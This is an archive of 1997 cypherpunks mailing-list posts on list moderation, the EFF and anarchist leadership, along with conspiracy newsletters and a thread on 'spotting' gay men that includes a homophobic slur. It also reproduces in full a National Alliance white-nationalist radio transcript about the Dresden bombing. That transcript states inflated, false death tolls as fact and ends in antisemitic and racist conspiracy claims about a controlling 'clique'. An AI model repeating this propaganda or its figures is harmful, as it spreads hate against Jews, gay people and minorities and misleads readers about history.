PGP fingerprint:   5A 16 DA 04 31 33 40 1E  87 DA 29 02 97 A3 46 2F





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Thu, 13 Feb 1997 22:11:26 -0800 (PST)
To: Cypherpunks <cypherpunks@toad.com>
Subject: Re: Dale disses gays.
Message-ID: <199702140611.WAA23321@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Dale Thorn wrote:
> Huge Cajones Remailer wrote:
> > :and I've had plenty of White friends, and an equal percentage of :Black friends given the number of Black people I've known, but I've :never had a friend who was gay or lesbian, as far as I know, and I :think I could tell.
> 
> > How, Dale, by the smell?
> 
> I worked for a gay man in Beverly Hills and Encino for 3 years.  I
> learned a lot about "signals" during that time.  Bigot?  I don't
> think so.  One of my favorite customers, a nice lady who is Jewish
> (and who grew up where I did) told me she could spot 'em every time.

This is a typical case of overconfidence on her part.

If she thought about it for longer, she would realize that she cannot
benchmark her gay-spotting performance very well.

If you presented her with, say, 100 unknown men and 50 of them were gays
and she'd identify everyone correctly, I would be impressed.

A truly great and simple book that talks about this stuff is ``Decision
Traps: the ten barriers to brilliant decision making''.

> BTW, my browser has a problem with your lines that have no c/r after
> every 70 or so characters. Other people will undoubtedly confirm that.

Yes, we will.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: joburger@world.evansville.net
Date: Wed, 12 Feb 1997 06:42:05 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Filling Power Vacuums
Message-ID: <199702121442.GAA20419@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


> heh. perhaps "leadership" involves more than posting. perhaps there
> is a way to have "leadership" without hierarchy. perhaps "leadership"
> is not equivalent to "management". perhaps sometimes
> you win by losing, and lose by winning. perhaps water is so powerful
> because it is lower than all that which it flows around.

Could you explain the bit about having leadership w/o hierarchy.  Yes 
,if there is an informal leadership such as what Tim was refering to, 
then their is no heirarchy.  However, as soon as people get 
designated as 'leaders' or 'moderators' then one has to have heirechy 
in that no matter how the various pieces of a system are arranged, 
they have to be arranged somehow, even completely at random.

imho (which you seem to have so many of) you could spare the 
pseudo-Zen BS.

 
> <Now, of course, the message is being sent that Sandy Sandfort is in some
> <sense the de facto leader, being that he determines what traffic goes out
> <to the main list and what traffic gets bounced into the flames list. In
> <fact, I'll make a prediction: The media will see that he is the chief
> <censor and arbiter of worthiness and will increasingly contact him for the
> <Official Point of View on various items they are interested in.
> 
> timmy, why are you so upset about the media angle? why do you give the
> slightest damn what the media thinks? answer: because you want to be
> the one they call when they want to know what the cypherpunks think.
> you want them to pay attention to the cypherpunks. in short, you would
> like to have the glamor of a leader, without any of the responsibility.

I don't think he was suggesting this in the least, he is quite 
capable of defending himself.  I don't particularly like the idea of 
someone that I had no part in choosing being seen as representative 
of my views.


 
> I think you would be surprise at the realization that "leaders" exist
> in those so-called "anarchies"


Key word 'so-called'  An anarchie is usually a conceptual ideal that 
is never reached, sorta like a democracy.

> <I am resentful and suspicious of people who _do_ step into the
> <"power vacuum" to lead and control.
> <Now I grant you that Sandy's form of leadership and control is relatively
> 
> apparently in your brain, "lead" == "control"

Dosen't it though?  How else can one 'lead'.  Even if just by setting 
an example the leader is changing the follower's actions, e.g. 
controlling.  Granted the follower is volentarily submitting to this 
control, but it is control none the less.  Most other cases of hard 
leadership are not as nice.


Josh 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Fri, 14 Feb 1997 06:56:02 -0800 (PST)
To: Robert Nadra <robertn@dm.net.lb>
Subject: Re: FW: I would like to be out of your mailing list
Message-ID: <199702141456.GAA07158@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 06:00 PM 2/13/97 +0200, you wrote:
>
>I would like to get out of your mailing list , 
>please indicate the correct procedure. Thanks. 

Send mail to cypherpunks-request on the machine sending you mail
saying "help" and you'll get instructions.  Servers include toad.com,
manifold.algebra.com or cyberpass.net.


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kevin Hoogheem <khooghee@marys.SMUMN.EDU>
Date: Thu, 13 Feb 1997 22:11:02 -0800 (PST)
To: roach_s@alph.swosu.edu
Subject: Re: Cypherpunks Mailing List
Message-ID: <199702140611.WAA23264@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


GET ME off this list!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Thu, 13 Feb 1997 22:11:31 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Recommendation: Creation of "alt.cypherpunks" (fwd)
Message-ID: <199702140611.WAA23332@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Forwarded message:

> Date: Thu, 13 Feb 1997 15:42:48 -0800
> From: Greg Broiles <gbroiles@netbox.com>
> Subject: Re: Recommendation: Creation of "alt.cypherpunks" (fwd)

> I disagree strongly that a controversial or legally troublesome list (or
> other data stream) should be closely associated with a business.

No. IS the business.

> (Also, what is the "right" thing to do where a particular exercise of free
> speech looks like it has serious potential to harm the business, thereby
> harming or eliminating the list which makes the speech possible? Isn't
> every choice a person could make in such a situation reducible to
> "censorship"?)

Get somebody else to do the marketing, your current promoter is incompitent.
I don't think I can accept "personal choice" == "censorship". To my mind
personal choice is a decision I make based on my wants and needs. Cencorship
is a decision about my want and needs made by somebody else. Distinction is
pretty clear to me.

> Every "forum" for free speech occurs exists in the context of economic and
> political relationships - and there will always be some message which
> threatens (to some degree) the stability of those relationships, and by
> implication, the forum itself. Unless we can eliminate economics and
> politics (ha, ha) I think that will always be the case - and there will
> always be some messages which raise "conflict of interest" problems. But
> some forums rest on less stable relationships (like, for example, most
> small businesses) and are more easily threatened by difficult messages.

Everthing exists in a context of economic and political relationship, and
religous ones, and intellectual ones, and historic ones, and cultural ones,
and sexual ones, etc.  Life is inherently unstable, what makes anyone
believe that ANY forum is not under constant threat of extinction? If from
nothing else sheer boredom.

Life ain't that simple.

If there were no "conflict of interest" problems we wouldn't have our
interests in the first place. Also, why do you believe that conflict doesn't
have a market as well?

> It's much easier to disrupt the income stream of a small business than to
> disrupt the income stream from a portfolio of investments or savings.

Depends on where that income stream comes from.

> But
> even a system whose upkeep was funded by something as unremarkable as
> interest on a savings account or a CD would still theoretically be
> "conflicted" were someone to use the system to propose or carry out a
> scheme to, say, overthrow the U.S. Government, or eliminate the FDIC and
> loot various savings & loans. 

Would one of the persons be a owner?

> The threat(s) to systems providing transport/storage for controversial
> messages are not limited to liability after a judgement; it is becoming
> more common for civil plaintiffs to seek (and get) discovery of the actual
> hardware owned and used by defendants, in order to look through the storage
> media for discoverable information, including "deleted" files. The tactics
> the Co$ used against its critics were shocking but also legal (modulo some
> irregularities). It's certainly not unimaginable that similar tactics would
> be used against a remailer or majordomo operator were the list to pass
> traffic that someone didn't like. And if a computer system is the target of
> a search warrant in the criminal arena, you'll be lucky if you get to keep
> your electronic alarm clocks after the search. Count on everything with a
> chip in it going away in the police van.

Irrelevant. Whether the system were private or business would make no
difference to the warrant. The question is,

"Since I run a system on the Internet and may become involved through no fault
of my own with legal difficulties because of my activities how do I pay for
the legal bills and various other consequences?"

Another question affecting financing is,

"Whether I am doing this for fun or business the cost will be the same. From
a effort and resources perspective, including the realities of the tax code
and cash flow, which is in my best interest?"

I would also offer that it isn't in the best interest of any party to shut a
Internet site of some report down. Consider the cypherpunks mailing list.
Assume for a moment that the remailer was to mysteriously disappear tonite
at midnite. If Sandy or somebody didn't put something up within a day or two
entirely too many people would start asking "whaz up?" The most successful
strategy would be to impose some sort of continous drain on the business
until it seemed to fold of natural causes. I contend that a business will
hold out much longer than most individuals will.

> Most businesses don't want to expose themselves to the threat of civil or
> criminal seizure or discovery, especially not at random times and for
> non-business reasons.

Exactly! It isn't a weakness, it's a strength.


                                                 Jim Choate
                                                 CyberTects
                                                 ravage@ssz.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adv Info <advinfo@dreamon.com>
Date: Fri, 14 Feb 1997 06:56:33 -0800 (PST)
To: advinfo@dreamon.com
Subject: American Dissident Voices Weekly Transcripts
Message-ID: <199702141456.GAA07243@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


---------------------------------------------------------------
American Dissident Voices is a world wide radio program which 
deals with topics of interest that concern people of European
descent. We hope that these weekly articles will offer the reader 
an opposing viewpoint to the major news media. 

For more information, please e-mail advinfo@dreamon.com. Please visit
our World Wide Web Site at http://www.natall.com. For patriotic books
and tapes, visit National Vanguard Books Online Catalog at 
http://www.natvan.com/cgi-bin/nvbctlg.txt?url=www.natall.com
--------------------------------------------

American Dissident Voices Online Radio
http://www.natall.com/radio/radio.html

Dresden: A Real Holocaust

by Kevin Alfred Strom 

The night of February 13th, and February 14th, Valentine's Day, mark an
ominous anniversary in the history of Western Civilization. For
beginning on the night of February 13th, 1945, occurred the destruction
of Dresden. 

On the eve of Valentine's Day, 1945, World War II in Europe was nearly
over. For all practical purposes Germany was already defeated. Italy,
and Germany's other European allies, had fallen by the wayside. The Red
Army was rushing to occupy vast areas of what had been Germany in the
East, while the allies of the Soviets, the British and Americans, were
bombing what was left of Germany's defenses and food and transportation
infrastructure into nonexistence. 

And what was Dresden? Most of you have probably heard of Dresden China,
and that delicately executed and meticulously detailed porcelain is
really a perfect symbol for that city. For centuries Dresden had been a
center of art and culture, and refined leisure and recreation. She was a
city of art museums and theatres, circuses and sports stadia, a town of
ancient half-timbered buildings looking for all the world like those of
medieval England, with venerable churches and centuries-old cathedrals
gracing her skyline. She was a city of artists and craftsmen, of actors
and dancers, of tourists and the merchants and hotels that served them.
Above all, what Dresden was, was defined during the war by what she was
not. She had no significant military or industrial installations.
Because of this, Dresden had become, above all other things that she
was, a city of children, of women, of refugees, and of the injured and
maimed who were recovering from their wounds in her many hospitals. 

These women and children, these wounded soldiers, these infirm and
elderly people, these refugees fleeing from the brutal onslaught of the
Communist armies to the East, had come to Dresden because it was
commonly believed at the time that Dresden would not be attacked. Its
lack of strategic or military or industrial significance, and the
well-known presence of hundreds of thousands of innocent civilian
refugees and even Allied prisoners of war, seemed to guarantee safety to
the city. Surely, it was thought, not even a the most powerful and
determined enemy would be so depraved and sadistic, and so wasteful of
that enemy's own resources, to attack such a city. But the people of
Dresden, who were happily attending the cinema or eating dinner at home
or watching the show-horses in the circus on that fateful night were
wrong, wrong, wrong. And their leaders were also wrong, for the city was
virtually open and undefended and only minimal civil defense
preparations had been made. 

Dresden's population had almost doubled in the months before the attack,
mainly as a result of the influx of refugees from the Eastern Front,
most of them women and young children. According to British historian
David Irving, the briefings given to the British bomber squadrons before
the attack on Dresden were curiously different. In one, the soldiers
were told that their target was the railway center of Dresden. In
another, they were told that the target was a poison-gas factory. In yet
another, they were told that the target was a marshalling-grounds for
troops in the city. Another was told that the target was a major
arsenal. These were all lies. 

The only marshalling-grounds for what few troops were in the area were
located well outside the city. The arsenal had burned down in 1916.
There were factories for toothpaste and baby-powder in Dresden, but none
for poison gas. There were, in fact, no fewer than eighteen railway
stations in Dresden, but only one was hit by the bombing, and that was
barely touched and in fact was operating again just three days later. 

According to copious documentation unearthed by David Irving from the
archives of the American and British governments, the point of the
attack was in fact to inflict the maximum loss of life on the civilian
population and particularly to kill as many refugees as possible who
were fleeing from the Red Army. In achieving these goals it was highly
successful. It was thus planned and executed by those at the very
highest levels of the British and American governments, who to attain
their purposes even lied to their own soldiers and citizens, who to this
day have never been told the full story by their leaders. 

How was this devastating effect accomplished? 

At 10:10 PM on February 13th, the first wave of the attack, consisting
of the British Number 5 Bomber Group, began. The attacking force
consisted of about 2,000 bombers with additional support craft, which
dropped over 3,000 high explosive and 650,000 incendiary bombs (more
commonly known as firebombs) on the center of the city. Incendiary bombs
are not known for their efficiency per pound in destroying heavy
equipment such as military hardware or railroad tracks, but are
extremely effective in producing maximum loss of human life. The loads
carried by the bombers were over 75 per cent incendiaries. In fact, the
goal of the first wave of the attack was, according to British air
commander Sir Arthur Bomber Harris, to set the city well on fire. That
he did. 

The lack of any effective anti-aircraft defenses allowed the bombers to
drop to very low altitudes and thus a relatively high degree of
precision and visual identification of targets was achieved. Despite the
fact that they could clearly see that the marked target area contained
hospitals and sports stadia and residential areas of center city
Dresden, the bombers nevertheless obeyed orders and rained down a fiery
death upon the unlucky inhabitants of that city on a scale which had
never before been seen on planet Earth. Hundreds of thousands of
innocents were literally consumed by fire, an actual holocaust by the
true definition of the word: complete consumption by fire. 

The incendiaries started thousands of fires and, aided by a stiff wind
and the early-on destruction of the telephone exchanges that might have
summoned firefighters from nearby towns, these fires soon coalesced into
one unimaginably huge firestorm. Now such firestorms are not natural
phenomena, and are seldom created by man, so few people have any idea of
their nature. Basically, what happened was this: The intense heat caused
by the huge column of smoke and flame, miles high and thousands of acres
in area, created a terrific updraft of air in the center of the column.
This created a very low pressure at the base of the column, and
surrounding fresh air rushed inward at speeds estimated to be thirty
times that of an ordinary tornado. An ordinary tornado wind-force is a
result of temperature differences of perhaps 20 to 30 degrees
centigrade. In this firestorm the temperature differences were on the
order of 600 to 1,000 degrees centigrade. This inward-rushing air
further fed the flames, creating a literal tornado of fire, with winds
in the surrounding area of many hundreds of miles per hour--sweeping
men, women, children, animals, vehicles and uprooted trees pell-mell
into the glowing inferno. 

But this was only the first stage of the plan. 

Exactly on schedule, three hours after the first attack, a second
massive armada of British bombers arrived, again loaded with high
explosive and massive quantities of incendiary bombs. The residents of
Dresden, their power systems destroyed by the first raid, had no warning
of the second. Again the British bombers attacked the center city of
Dresden, this time dividing their targets--one half of the bombs were to
be dropped into the center of the conflagration, to keep it going, the
other half around the edges of the firestorm. No pretense whatever was
made of selecting military targets. The timing of the second armada was
such as to ensure that a large quantity of the surviving civilians would
have emerged from their shelters by that time, which was the case, and
also in hopes that rescue and firefighting crews would have arrived from
surrounding cities, which also proved to be true. The firefighters and
medics thus incinerated hadn't needed the telephone exchange to know
that they were needed--the firestorm was visible from a distance of 200
miles. 

It is reported that body parts, pieces of clothing, tree branches, huge
quantities of ashes, and miscellaneous debris from the firestorm fell
for days on the surrounding countryside as far away as eighteen miles.
After the attack finally subsided, rescue workers found nothing but
liquefied remains of the inhabitants of some shelters, where even the
metal kitchen utensils had melted from the intense heat. 

The next day, Ash Wednesday and Valentine's Day, 1945, medical and other
emergency personnel from all over central Germany had converged on
Dresden. Little did they suspect that yet a third wave of bombers was on
its way, this time American. This attack had been carefully coordinated
with the previous raids. Four hundred fifty Flying Fortresses and a
support contingent of fighters arrived to finish the job at noon. I
quote from David Irving's The Destruction of Dresden: 

"Just a few hours before Dresden had been a fairy-tale city of spires
and cobbled streets .... now total war had put an end to all that.
...The ferocity of the US raid of 14th February had finally brought the
people to their knees... but it was not the bombs which finally
demoralised the people ... it was the Mustang fighters, which suddenly
appeared low over the city, firing on everything that moved .... one
section of the Mustangs concentrated on the river banks, where masses of
bombed-out people had gathered. ... British prisoners who had been
released from their burning camps were among the first to suffer the
discomfort of machine-gunning attacks .... wherever columns of tramping
people were marching in or out of the city they were pounced on by the
fighters, and machine-gunned or raked with cannon fire." 

Ladies and gentlemen, on this program I can only give you a bare glimpse
of the inhuman horror of the holocaust of Dresden. In Dresden, no fewer
than 135,000 innocent victims died, with some estimates as high as
300,000. More died in Dresden than died in the well-known attacks on
Hiroshima and Nagasaki. More destruction befell Dresden in one day than
was inflicted on the whole of Britain during the entire war. And yet you
haven't been told. 

I urge every one of you to read The Destruction of Dresden by David
Irving. I assure you, after reading Irving's book, you will never take
seriously the Establishment's version of what happened in that war
again. 

What you ought to take seriously, though, is the fact that the same
clique that controlled the traitorous Roosevelt and Churchill
governments, whose hatred of our race and civilization and whose
alliance with Communism were the real causes of the holocaust of
Dresden, still controls our government and our media today. It is they
who are pushing for a disarmed, racially mixed America. It is they who
promote the teaching of sodomy to our young children. It is they who are
destroying our industrial infrastructure in the name of a global
economy. It is they who created the drug subculture and then also the
police state agencies which pretend to fight it. The hour is very late
for America and indeed for all of Western civilization. But if patriots
will heed our call, then there is no reason for despair. For the enemies
of our nation may have power, but their power is based on lies. Won't
you help us cut through the chain of lies that holds our people in
mental slavery? 

~

National Alliance Main Page
http://www.natvan.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Fri, 14 Feb 1997 08:11:10 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: Dale disses gays.
Message-ID: <199702141611.IAA09316@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Igor Chudov @ home wrote:
> Dale Thorn wrote:
> > I worked for a gay man in Beverly Hills and Encino for 3 years.  I
> > learned a lot about "signals" during that time.  Bigot?  I don't
> > think so.  One of my favorite customers, a nice lady who is Jewish
> > (and who grew up where I did) told me she could spot 'em every time.

> This is a typical case of overconfidence on her part.
> If she thought about it for longer, she would realize that she cannot
> benchmark her gay-spotting performance very well.
> If you presented her with, say, 100 unknown men and 50 of them were gays
> and she'd identify everyone correctly, I would be impressed.

If you really intended to do this as an experiment, this method would
not work.  The way it works (and what she meant I believe):

1. Start with 100. Observe them very briefly and pick the most obvious
   candidates from immediately-discernable features. How accurate this
   would be is not so much hit or miss by misidentification as it is
   making too broad an evaluation on the first round.
2. Now that you've eliminated the most obvious of the gays and the
   most obvious non-gays, take only what's left and observe for
   somewhat longer, and you should be able (if you're as good as her)
   to pick off quite a few more.  In the end, of course, there has
   to be doubt about quite a few, which is the whole point of having
   a non-discriminatory policy, so that nobody feels compelled to
   make judgements where they are not warranted.

If you think I'm carrying this too far, check out the comedy movie
with Tom Hanks and Sally Field, where Hanks identifies a Jewish
doctor by superficial appearance alone.  It's my only point.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Duvos <mpd@netcom.com>
Date: Fri, 14 Feb 1997 14:11:24 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [Declan McCullagh: "A List Goes Down In Flames," from Netly]
Message-ID: <199702142211.OAA15763@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


John Gilmore <gnu@toad.com> writes:

[Fluffy Gilmore apologia by Declan expunged]

Two small points.

1.  The rift between Gilmore/EFF and Cypherpunks is hardly
    of recent origin, and dates back to when the EFF first
    demonstrated to horrified Cypherpunks that its policy
    would be one of appeasement and capitulation towards
    clearly unacceptable legislation.  This is all in the
    archives, including Tim May's essay on why he chose not
    to renew his EFF membership.

2.  The article fails to mention Gilmore's new nickname. :)

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     mpd@netcom.com     $    via Finger.                      $






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 14 Feb 1997 15:56:49 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [Declan McCullagh: "A List Goes Down In Flames," from Netly]
Message-ID: <199702142356.PAA18080@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Mike sheds more heat than light on the issue. Gilmore does not always
represent the EFF; not every action of his is an EFF action.

As for the "rift," may observers said at the time that DT was a Jerry
Berman "appeasement and capitulation" scheme. Note Berman no longer works
at EFF. Note EFF is no lnoger in DC.

And yes, I've read Tim May's essay on his EFF membership. I probably would
have had the same reaction.

-Declan


On Fri, 14 Feb 1997, Mike Duvos wrote:

> John Gilmore <gnu@toad.com> writes:
> 
> [Fluffy Gilmore apologia by Declan expunged]
> 
> Two small points.
> 
> 1.  The rift between Gilmore/EFF and Cypherpunks is hardly
>     of recent origin, and dates back to when the EFF first
>     demonstrated to horrified Cypherpunks that its policy
>     would be one of appeasement and capitulation towards
>     clearly unacceptable legislation.  This is all in the
>     archives, including Tim May's essay on why he chose not
>     to renew his EFF membership.
> 
> 2.  The article fails to mention Gilmore's new nickname. :)
> 
> --
>      Mike Duvos         $    PGP 2.6 Public Key available     $
>      mpd@netcom.com     $    via Finger.                      $
> 
> 
> 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <nobody@wazoo.com>
Date: Fri, 14 Feb 1997 15:26:13 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Dale disses gays.
Message-ID: <199702142326.PAA16954@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


aga <aga@dhp.com> writes:

> Now just who is thisa guy? -- who keeps posting under
> "nobody" at the cajones remailer?  Anybody have him/her
> tagged yet for the real person?

Probably multiple people.  It's just an anonymous remailer.

> ...
> I don't know.  It has always been easy for me to spot a faggot.  I
> mean, I can even tell by their voice if they are queer.

Well, those of us who happen to know Gilmore is straight are not very
impressed with your accuracy.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Fri, 14 Feb 1997 15:43:53 -0800 (PST)
To: Martin Minow <cypherpunks@toad.com
Subject: Re: [Declan McCullagh: "A List Goes Down In Flames," from Netly]
Message-ID: <199702142343.PAA17540@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 10:31 AM -0800 2/14/97, Martin Minow wrote:

>What bothers me more than anything else about the "solutions" I've
>seen proposed to the death of Cypherpunks is that they rely on
>technology -- and reject human judgement -- to solve what is, in
>reality, a social problem.  (One can certainly make the same argument
>about the V-chip, browser porn filters, and similar hacks.)

Au contraire, Martin! Many of my posts have _explicitly_ pointed to the
human filtering services offered by Eric Blossom, Ray Arachelian, and
perhaps others. Arranging to have others edit or filter the information
flow is a fine and dandy thing, and it's a very "anarchist" thing to do.

The "anarchy" of the restaurant business, the book business, and so many
other markets and sectors, where end-users are forced to look for filtering
mechanisms (such as restaurant reviews, advice of their friends,
advertisements, etc.) works pretty well.

And, I believe, the Cypherpunks list was doing pretty well before the
Moderation thing happened. The noise from the 'bots was no worse than the
noise of 2-3 years ago from Detweiler. The claims that "the list has become
unusable" were bogus, in my opinion.

(Hence the claims that "you Cyherpunks only complain" are also bogus. I for
one was not complaining and demanding that John and Sandy "do something" to
"fix" the list. I accepted the nonsense spouted about me and John and
others as just part of the chaos expected in any forum. I just filtered and
deleted such nonsense.)

It is true that some signal producers have either moved on to other
things--in many cases to crypto-related companies directly or indirectly
spawned by the Cypherpunks list and contacts!--or are not writing as many
basic essays as they once did. Such is to be expected. People get tired of
writing explanatory articles, and handling newbies.

The key to improving signal is to increase the amount of signal, not to
just suppress noise so as to make the S/N ratio look better. I can easily
hit the "delete" key to remove noise, but I can't hit the "create" key to
increase signal.

--Tim May



Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robalini@aol.com
Date: Fri, 14 Feb 1997 09:06:02 -0800 (PST)
Subject: The Konformist: Acid Novelist or Art Lover? You Decide
Message-ID: <199702141706.JAA10765@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Note: Either you requested to receive a subscription to 
this e-mail, or someone else recommended you to be placed on 
this list.  If you are interested in a free subscription, 
please e-mail Robalini@aol.com with the subject: I NEED TO 
KONFORM.  (Okay, you can use something else, but it's a 
cool catch phrase.)  Please e-mail me back with subject: 
CANCEL KONFORMIST if you're not interested in receiving 
this.  Thanks, Robert Sterling.

Subj:  American "Acid Novelist" Brings Home Expatriate Treasure
Date:  Wed, Feb 12, 1997 7:58 PM PST
From:  fargone@popalex1.linknet.net
News Release--For Immediate Distribution--2/12/97

Novelist and psychedelic renegade Todd Brendan Fahey, wit the aid of
his father, a Los Angeles-area health care executive, has purchased from
the Amsterdam art gallery Anton Heyboerwinkel what is believed to be the
bulwark of The Logbook of the Ship _Henry David Thoreau_, an obsessive
and intimate mixed media project of an expatriate American artist/mystic
known pseudonymously as Viktor IV before his drowning death in Amsterdam
in 1986.

While on assignment for _Smoke_ magazine last November, Professor Fahey,
author of the incendiary underground LSD novel _Wisdom's Maw_, claims he
was "directed" to a particular shop on Prinsengracht, a canal
street in downtown Amsterdam; after entering the shop, he was
immediately struck by the idiosyncratic force of the works of a
particular artist.  "It was as if I were being beckoned into Aladdin's
Castle from way out in some super-mall parking lot," says Fahey, of his
experience. "I will never be able to put it into words; but there was a
pull, a connection, and then, after studying the many Logbook pages for
several days in this shop, there came a long moment of illumination."

Fahey describes this "illumination" as an ecstatic vision, in which he
claims to have understood the mystical emphasis of much of the Logbook
drawings.

"It's not entirely bizarre," says Fahey, who is currently completing his
Ph.D. coursework in English at University of Southwestern Louisiana. 
"Allen Ginsberg had an experience one day, in his early twenties, where
he heard and witnessed, or believes he did, the voice and personage of
the mystic poet William Blake.  Samuel Taylor Coleridge wrote the poem
`Kubla Khan' completely whacked in an opium trance.  I was using
psychedelics pretty heavily during the writing of `Fear & Loathing in
Amsterdam' for _Smoke_, and feel as if I were privileged for a few days
to some kind of Source.  I had many things happen to me in
Amsterdam--very powerful moments of insight and registrations of the
cosmic flow of things--and during one of these moments, it was impressed
upon me from without, that I should bring back to the U.S. these Logbook
drawings of Viktor IV."

Born Walter Karl Gluck, the artist Viktor IV traveled to Amsterdam in
the early 1960s and settled there, leaving on a ship he christened the
_Henry David Thoreau_, after the philosopher who he claimed as his chief
inspiration and muse.  A burly, rugged figure, Viktor IV  was
recognizable amongst the quiet Amsterdam populace as the barefoot
American hippie artist who dressed in black, loved cats and young women,
and worked tirelessly on deeply personal and largely non-commercial
projects aboard his canal-bound ship.

A master scuba diver, Viktor IV drowned in June of 1986, while
performing underwater repairs to the _Henry David Thoreau_.

Todd Brendan Fahey, a novice art collector, perceives in the Logbook
pages the artist's fascination with the "ecstatic vision."  In this way,
he compares the drawings to the poem-paintings of American surrealist
Kenneth Patchen.  "There is that same relentless focus on the
All-At-Once, that so characterizes the experiences of mystics in every
religion and culture.  The rich, interconnectedness of all things.  That
is what Viktor IV is expressing in these pages.  And that is what I was
feeling for much of my stay in Amsterdam; as much as I was really out of
my head most of the time, I was, in another way, very grounded."

Unconcerned with commerce, Viktor IV created hundreds of these Logbook
drawings in the original, with no known professional reproductions, from
between 1966 and 1976, after which he turned his artistic vision to
clockmaking.  The bulk of individual pages of The Logbook of the Ship
_Henry David Thoreau_ is held by the Fedor Museum and the Stejdilik
Museum, in Amsterdam, where the adopted artist is revered as a free
spirit.  Viktor IV visited the United States only a handful of
times after emigrating to Amsterdam, and is believed to have held only
one American gallery exhibition in his lifetime.
    
Professor Fahey hopes to arrange a traveling exhibition of his 34 pages
from The Logbook of the Ship _Henry David Thoreau_, by the artist Viktor
IV.  Interested museums and art galleries in major American cities
should contact Fahey at the following address:

Todd Brendan Fahey
c/o Far Gone Books
P.O. Box 43745
Lafayette, LA 70504-3745
(318) 261-1946

Dutch and European media should contact:

Georges or Couzijn Simon
Anton Heyboerwinkel
Prinsengracht 578
020 624-7691
1017 KR Amsterdam
The Netherlands

The award-winning Far Gone Books/_Wisdom's Maw_ Web site:
http://www2.linknet.net/fahey/fargone
************************************************************ 
The Konformist is interested in accepting articles, 
opinions, free subscriptions, and advertising.  E-mail us at 
Robalini@aol.com, or call (310) 967-4195. 

The Konformist is a subsidiary of Sterling Operation 
Solutions, the trouble-shooting problem-solvers for all 
business needs.  We charge on a sliding scale based on the 
difficulty (and legality) of the proposed solution.  Call 
(310) 967-4195 for further information. 

Hey kids, don't forget to enter the "Rockin' To Armageddon 
Sweepstakes", sponsored by The Konformist, the Official 
Internet Investigative Journal of the 1997 Academy Awards.
(Okay, it's not official, but we're anti-authority 
anyways.)  Right down the day, month, year, and time of the
end of the world, and, as a tie-breaker, your nominee for the
anti-Christ.  The winner will receive a t-shirt stating, "I 
CameClosest To Predicting The Apocalypse, And All I Got 
Was This Crummy T-Shirt."  You will also receive a free 
one year supply of Twix candy bars. 

Also, this is a free magazine, but we'll still take your 
money if you want.  Please send cash, check, money orders, 
and credit card numbers (Visa, Master Card, American 
Express, or Discover) to: 
 
Robert Sterling 
Post Office Box 24825 
Los Angeles, California 90024-0825
************************************************************ 
                       Rob's Place
                  A SITE IS DEDICATED TO
        SPIRIT, TRUTH, PEACE, JUSTICE, AND FREEDOM
              http://www.vom.com/rc/home.htm

Robalini's Note: This is another Rob.  I have no interest in spirit, truth,
peace, justice, and/or freedom.  I do have an interest in making money.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robalini@aol.com
Date: Fri, 14 Feb 1997 14:11:50 -0800 (PST)
Subject: The Konformist: News From Waco
Message-ID: <199702142211.OAA15795@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Note: Either you requested to receive a subscription to 
this e-mail, or someone else recommended you to be placed on 
this list.  If you are interested in a free subscription, 
please e-mail Robalini@aol.com with the subject: I NEED TO 
KONFORM.  (Okay, you can use something else, but it's a 
cool catch phrase.)  Please e-mail me back with subject: 
CANCEL KONFORMIST if you're not interested in receiving 
this.  Thanks, Robert Sterling.

ITEM ONE

Date:  Sat, 08 Feb, 1997 09:21 PM EDT
From:  paul watson

Rob, Ken is a fellow who had a Dish company south of Dallas and recorded 
all the network uplink for the whole Waco affair. His tapes were used By 
Linda Thompson..
Paul

Date: Sat, 8 Feb 1997 12:08:05, -0500
From: MR KEN FAWCETT 

If no child died on Feb.28- when was the ATF attack?  Clearly, Koresh,
